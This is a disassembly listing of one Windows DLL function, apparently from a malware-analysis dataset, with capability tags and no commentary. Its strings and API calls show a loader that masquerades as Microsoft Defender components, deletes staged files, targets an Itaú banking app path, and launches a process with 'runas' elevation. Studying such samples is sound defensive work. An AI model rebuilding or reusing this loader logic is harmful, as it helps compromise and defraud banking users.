Function at 0x180007240
Capabilities:
Create directory
Create process on windows
Delete file
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x180047058]
xor rax, rsp
mov qword [rbp + 0x100], rax
xor r15d, r15d
lea rdx, [0x180047c88]
lea rcx, [rsp + 0x60]
call fcn.18000a140
mov rdx, rax
lea rcx, [0x180049940]
call fcn.180004dd0
test al, al
je 0x18000870b
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x180047c88]
lea rcx, [rsp + 0x60]
call fcn.18000a140
mov rdx, rax
lea rcx, [0x180049940]
call fcn.180004dd0
test al, al
je 0x18000870b
mov byte [0x180049911], 1
mov ecx, 0x18bd
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x60]
call fcn.1800022b0
nop
lea r9d, [r15 + 9]
lea r8, str.C:Users_
mov rcx, rax
call fcn.18000c1f0
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
lea r8d, [r15 + 0x31]
lea rdx, str.AppDataLocalAplicativo_Itauitauaplicativo.exe
lea rcx, [rbp - 0x80]
call fcn.18000aa80
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0xf8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xf0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
lea rcx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae rcx, qword [rbp + 0xe0]
call fcn.1800035f0
movzx ebx, al
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x1800073de
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800073d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008741
call fcn.18000deb0
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x180007432
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000742d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008747
call fcn.18000deb0
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x18000747f
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000747a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000874d
call fcn.18000deb0
test bl, bl
setne byte [0x180049912]
lea rcx, [rsp + 0x60]
call fcn.1800022b0
nop
mov r9d, 9
lea r8, str.C:Users_
mov rcx, rax
call fcn.18000c1f0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x1e
lea rdx, str.AppDataRoamingMicrosoftMMC
lea rcx, [rsp + 0x40]
call fcn.18000aa80
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [0x180047c80]
cmp rdx, 0x10
jb 0x18000755b
mov rcx, qword [0x180047c68]
inc rdx
cmp rdx, 0x1000
jb 0x18000754b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180008759
mov rcx, r8
call fcn.18000deb0
movups xmm0, xmmword [rbp + 0xe0]
movups xmm1, xmmword [rbp - 0x80]
movups xmmword [0x180047c68], xmm0
movups xmmword [0x180047c78], xmm1
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1800075a6
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800075a1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008753
call fcn.18000deb0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1800075f6
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800075f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000875f
call fcn.18000deb0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
mov rsi, qword [0x180047c78]
lea r14, [0x180047c68]
mov rdi, r14
cmp qword [0x180047c80], 0x10
cmovae rdi, qword [0x180047c68]
movabs r12, 0x7fffffffffffffff
cmp rsi, 0x10
jae 0x180007645
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x40], xmm0
mov ebx, 0xf
jmp 0x1800076b2
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
cmova rbx, r12
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x18000768f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180008765
mov rcx, rax
call fcn.18000dee4
mov rcx, rax
test rax, rax
je 0x18000876b
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x18000769e
test rcx, rcx
je 0x18000769b
call fcn.18000dee4
jmp 0x18000769e
mov rax, r15
mov qword [rsp + 0x40], rax
lea r8, [rsi + 1]
mov rdx, rdi
mov rcx, rax
call fcn.18000fe40
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rbx
lea rcx, [rsp + 0x40]
call fcn.180004900
test eax, eax
jne 0x1800076e2
mov rcx, r14
cmp qword [0x180047c80], 0x10
cmovae rcx, qword [0x180047c68]
call fcn.180016914
call fcn.180003e00
mov ecx, 0x51a
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x60]
call fcn.180002b40
mov rbx, rax
lea rcx, [rbp - 0x80]
call fcn.1800029d0
nop
mov r8d, 1
lea rdx, [0x18003f394]
mov rcx, rax
call fcn.18000aa80
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r9, rbx
lea r8, [rsp + 0x60]
lea rcx, [rbp + 0xe0]
call fcn.18000bee0
nop
mov r8d, 4
lea rdx, str..dll
lea rcx, [rbp + 0xe0]
call fcn.18000aa80
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xd8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x1800077e5
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800077e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008771
call fcn.18000deb0
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x18000783c
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007836
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008777
call fcn.18000deb0
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x180007877
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007872
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000877d
call fcn.18000deb0
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1800078c2
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800078bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008783
call fcn.18000deb0
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.180002b40
nop
mov r9d, 0x14
lea r8, str.c:windows_system32_
mov rcx, rax
call fcn.18000c1f0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..dll
lea rcx, [rsp + 0x40]
call fcn.18000aa80
mov qword [rbp], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x18000799f
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000799a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008789
call fcn.18000deb0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1800079ef
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800079ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000878f
call fcn.18000deb0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
lea rcx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rcx, qword [rbp + 0xc0]
call fcn.1800035f0
test al, al
je 0x180007bb3
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, qword [rbp]
call fcn.1800035f0
test al, al
je 0x180007b89
lea rdi, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdi, qword [rbp]
add rdi, qword [rbp + 0x10]
lea rbx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rbx, qword [rbp]
mov qword [rbp + 0xe0], r15
mov rcx, r15
mov qword [rbp + 0xf0], rcx
mov r8d, 7
mov qword [rbp + 0xf8], r8
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x180007aa8
lea rcx, [rbp + 0xe0]
call fcn.18000c850
mov rcx, r15
mov qword [rbp + 0xf0], rcx
mov r8, qword [rbp + 0xf8]
lea rax, [rbp + 0xe0]
mov qword [rbp - 0x80], rax
cmp rbx, rdi
je 0x180007b1f
nop dword [rax + rax]
movsx r9d, byte [rbx]
cmp rcx, r8
jae 0x180007af4
lea rax, [rcx + 1]
mov qword [rbp + 0xf0], rax
lea rax, [rbp + 0xe0]
cmp r8, 8
cmovae rax, qword [rbp + 0xe0]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x180007b07
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp + 0xe0]
call fcn.18000c9c0
inc rbx
mov r8, qword [rbp + 0xf8]
cmp rbx, rdi
je 0x180007b1f
mov rcx, qword [rbp + 0xf0]
jmp 0x180007ac0
lea rcx, [rbp + 0xe0]
cmp r8, 8
cmovae rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rbp + 0xf8]
cmp rdx, 8
jb 0x180007b7e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007b79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008795
call fcn.18000deb0
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdx, qword [rbp]
lea rcx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rcx, qword [rbp + 0xc0]
call fcn.1800167d4
lea rcx, [rbp - 0x60]
call fcn.1800029d0
nop
mov r8d, 0xb
lea rbx, str.pack01.zip
mov rdx, rbx
mov rcx, rax
call fcn.18000aa80
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x180007c3a
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007c35
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000879b
call fcn.18000deb0
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov rcx, qword [0x180047c78]
mov rax, r12
sub rax, rcx
cmp rax, 0xb
jb 0x1800087a1
mov r9, r14
cmp qword [0x180047c80], 0x10
cmovae r9, qword [0x180047c68]
mov qword [rsp + 0x30], 0xb
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x40]
call fcn.18000c0d0
nop
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rcx, qword [rbp + 0x60]
call fcn.1800035f0
test al, al
je 0x180007e2a
lea rcx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rcx, qword [rbp + 0x40]
call fcn.1800035f0
test al, al
je 0x180007e09
lea rbx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rbx, qword [rbp + 0x40]
lea rcx, [rbp + 0x40]
cmovae rcx, qword [rbp + 0x40]
mov rdi, qword [rbp + 0x50]
add rdi, rcx
mov qword [rbp + 0xe0], r15
mov rcx, r15
mov qword [rbp + 0xf0], rcx
mov r8d, 7
mov qword [rbp + 0xf8], r8
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x180007d2c
lea rcx, [rbp + 0xe0]
call fcn.18000c850
mov rcx, r15
mov qword [rbp + 0xf0], rcx
mov r8, qword [rbp + 0xf8]
lea rax, [rbp + 0xe0]
mov qword [rbp - 0x80], rax
cmp rbx, rdi
je 0x180007d9f
nop dword [rax]
movsx r9d, byte [rbx]
cmp rcx, r8
jae 0x180007d74
lea rax, [rcx + 1]
mov qword [rbp + 0xf0], rax
lea rax, [rbp + 0xe0]
cmp r8, 8
cmovae rax, qword [rbp + 0xe0]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x180007d87
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp + 0xe0]
call fcn.18000c9c0
inc rbx
mov r8, qword [rbp + 0xf8]
cmp rbx, rdi
je 0x180007d9f
mov rcx, qword [rbp + 0xf0]
jmp 0x180007d40
lea rcx, [rbp + 0xe0]
cmp r8, 8
cmovae rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rbp + 0xf8]
cmp rdx, 8
jb 0x180007dfe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007df9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800087a7
call fcn.18000deb0
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rdx, qword [rbp + 0x40]
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rcx, qword [rbp + 0x60]
call fcn.1800167d4
mov ecx, 0x12f
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x180047c78]
mov rax, r12
sub rax, rcx
cmp rax, 0x12
jb 0x1800087ad
cmp qword [0x180047c80], 0x10
cmovae r14, qword [0x180047c68]
mov qword [rsp + 0x30], 0x12
lea rax, str.RewriteData_1.ini
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, r14
lea rcx, [rbp + 0xa0]
call fcn.18000c0d0
nop
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rcx, qword [rbp + 0xa0]
call fcn.1800035f0
test al, al
je 0x180007ff4
lea rdi, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rdi, qword [rbp + 0xa0]
add rdi, qword [rbp + 0xb0]
lea rbx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rbx, qword [rbp + 0xa0]
mov qword [rbp + 0xe0], r15
mov rcx, r15
mov qword [rbp + 0xf0], rcx
mov r8d, 7
mov qword [rbp + 0xf8], r8
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x180007f26
lea rcx, [rbp + 0xe0]
call fcn.18000c850
mov rcx, r15
mov qword [rbp + 0xf0], rcx
mov r8, qword [rbp + 0xf8]
lea rax, [rbp + 0xe0]
mov qword [rbp - 0x80], rax
cmp rbx, rdi
je 0x180007f95
movsx r9d, byte [rbx]
cmp rcx, r8
jae 0x180007f6a
lea rax, [rcx + 1]
mov qword [rbp + 0xf0], rax
lea rax, [rbp + 0xe0]
cmp r8, 8
cmovae rax, qword [rbp + 0xe0]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x180007f7d
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp + 0xe0]
call fcn.18000c9c0
inc rbx
mov r8, qword [rbp + 0xf8]
cmp rbx, rdi
je 0x180007f95
mov rcx, qword [rbp + 0xf0]
jmp 0x180007f36
lea rcx, [rbp + 0xe0]
cmp r8, 8
cmovae rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rbp + 0xf8]
cmp rdx, 8
jb 0x180007ff4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007fef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800087b3
call fcn.18000deb0
lea rcx, [rsp + 0x60]
call fcn.1800029d0
nop
mov r8d, 0x20
lea rdx, str.en_ENMpDefenderCoreService.txt
mov rcx, rax
call fcn.18000aa80
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x18000807b
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008076
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800087b9
call fcn.18000deb0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rdx, qword [rbp + 0x20]
mov rdi, qword [rbp + 0x30]
add rdi, rdx
lea rbx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rbx, qword [rbp + 0x20]
mov qword [rbp - 0x40], r15
mov rcx, r15
mov qword [rbp - 0x30], rcx
mov r8d, 7
mov qword [rbp - 0x28], r8
mov word [rbp - 0x40], r15w
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x1800080eb
lea rcx, [rbp - 0x40]
call fcn.18000c850
mov rcx, r15
mov qword [rbp - 0x30], rcx
mov r8, qword [rbp - 0x28]
lea rax, [rbp - 0x40]
mov qword [rbp - 0x80], rax
cmp rbx, rdi
je 0x18000814d
nop dword [rax + rax]
movsx r9d, byte [rbx]
cmp rcx, r8
jae 0x18000812b
lea rax, [rcx + 1]
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x40]
cmp r8, 8
cmovae rax, qword [rbp - 0x40]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x18000813b
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x40]
call fcn.18000c9c0
inc rbx
mov r8, qword [rbp - 0x28]
cmp rbx, rdi
je 0x18000814d
mov rcx, qword [rbp - 0x30]
jmp 0x180008100
lea rcx, [rbp - 0x40]
cmp r8, 8
cmovae rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x60]
mov qword [rbp - 0x80], rax
lea r9, [rbp + 0xf5]
mov r8d, dword [0x180049958]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x180008182
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 0xf
lea rax, [rbp + 0xf5]
cmp r9, rax
je 0x1800081e3
lea r8, [rbp + 0xf5]
sub r8, r9
mov rdx, r9
lea rcx, [rsp + 0x60]
call fcn.18000a920
nop
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x30]
lea rsi, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rsi, qword [rbp + 0x20]
cmp rdi, 0x10
jae 0x180008219
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x40], xmm0
mov ebx, 0xf
jmp 0x180008286
mov rbx, rdi
or rbx, 0xf
cmp rbx, r12
cmova rbx, r12
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180008263
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800087bf
mov rcx, rax
call fcn.18000dee4
mov rcx, rax
test rax, rax
je 0x1800087c5
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180008272
test rcx, rcx
je 0x18000826f
call fcn.18000dee4
jmp 0x180008272
mov rax, r15
mov qword [rsp + 0x40], rax
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.18000fe40
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rbx
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.180001d60
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x60]
call fcn.1800029d0
nop
mov r8d, 0x13
lea rdx, str.en_ENMpDlpCmd.exe
mov rcx, rax
call fcn.18000aa80
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x180008340
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000833b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800087cb
call fcn.18000deb0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rdx, qword [rbp + 0x80]
mov rdi, qword [rbp + 0x90]
add rdi, rdx
lea rbx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rbx, qword [rbp + 0x80]
mov qword [rbp - 0x20], r15
mov rcx, r15
mov qword [rbp - 0x10], rcx
mov r9d, 7
mov qword [rbp - 8], r9
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x1800083c0
lea rcx, [rbp - 0x20]
call fcn.18000c850
mov rcx, r15
mov qword [rbp - 0x10], rcx
mov r9, qword [rbp - 8]
lea rax, [rbp - 0x20]
mov qword [rbp + 0xe0], rax
cmp rbx, rdi
je 0x18000841f
movsx edx, byte [rbx]
cmp rcx, r9
jae 0x1800083f9
lea rax, [rcx + 1]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x20]
cmp r9, 8
cmovae rax, qword [rbp - 0x20]
mov word [rax + rcx*2], dx
mov word [rax + rcx*2 + 2], r15w
jmp 0x18000840d
movzx r9d, dx
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x20]
call fcn.18000c9c0
inc rbx
mov r9, qword [rbp - 8]
cmp rbx, rdi
je 0x18000841f
mov rcx, qword [rbp - 0x10]
jmp 0x1800083d0
lea r8, [rbp - 0x20]
cmp r9, 8
cmovae r8, qword [rbp - 0x20]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
lea r9, [0x18003f42c]
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x18000848c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008487
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800087d1
call fcn.18000deb0
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r15w
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x1800084de
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800084d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800087d7
call fcn.18000deb0
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x180008537
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008532
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800087dd
call fcn.18000deb0
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r15w
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x180008583
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000857e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800087e3
